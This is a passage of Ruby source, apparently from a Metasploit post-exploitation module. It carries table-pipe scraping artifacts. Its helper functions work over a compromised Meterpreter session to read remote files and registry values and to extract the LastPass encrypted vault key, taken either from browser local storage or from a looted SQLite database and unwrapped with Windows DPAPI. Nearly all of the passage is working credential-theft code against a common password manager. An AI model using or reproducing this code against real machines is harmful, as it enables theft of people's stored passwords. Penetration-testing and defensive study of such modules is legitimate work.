# Reads a remote file and returns the data | |
def read_remote_file(path) | |
data = nil | |
begin | |
data = read_file(path) | |
rescue EOFError | |
vprint_error "Error reading file #{path} It could be empty" | |
end | |
data | |
end | |
def read_registry_key_value(key, value) | |
begin | |
root_key, base_key = session.sys.registry.splitkey(key) | |
reg_key = session.sys.registry.open_key(root_key, base_key, KEY_READ) | |
return nil unless reg_key | |
reg_value = reg_key.query_value(value) | |
return nil unless reg_value | |
rescue Rex::Post::Meterpreter::RequestError => e | |
vprint_error("#{e.message} (#{key}\\#{value})") | |
end | |
reg_key.close if reg_key | |
return reg_value.blank? ? nil : reg_value.data | |
end | |
def extract_local_encrypted_vault_key(browser, username, lp_data) | |
if browser.match(/Firefox|IE/) | |
encrypted_key_path = lp_data['localstorage_db'] + system_separator + OpenSSL::Digest::SHA256.hexdigest(username) + '_lpall.slps' | |
encrypted_vault_key = read_remote_file(encrypted_key_path) | |
encrypted_vault_key = windows_unprotect(encrypted_vault_key) if !encrypted_vault_key.nil? && encrypted_vault_key.match(/^AQAAA.+/) # Verify Windows protection | |
else | |
db = SQLite3::Database.new(lp_data['lp_db_loot']) | |
result = db.execute( | |
'SELECT data FROM LastPassData ' \ | |
"WHERE username_hash = ? AND type = 'key'", OpenSSL::Digest::SHA256.hexdigest(username) | |
) | |
encrypted_vault_key = result[0][0] | |
end | |
return encrypted_vault_key.blank? ? nil : encrypted_vault_key.split("\n")[0] # Return only the key, not the "lastpass rocks" part | |
end | |
# Returns OS separator in a session type agnostic way | |
def system_separator | |
return session.platform == 'windows' ? '\\' : '/' | |
end | |
end |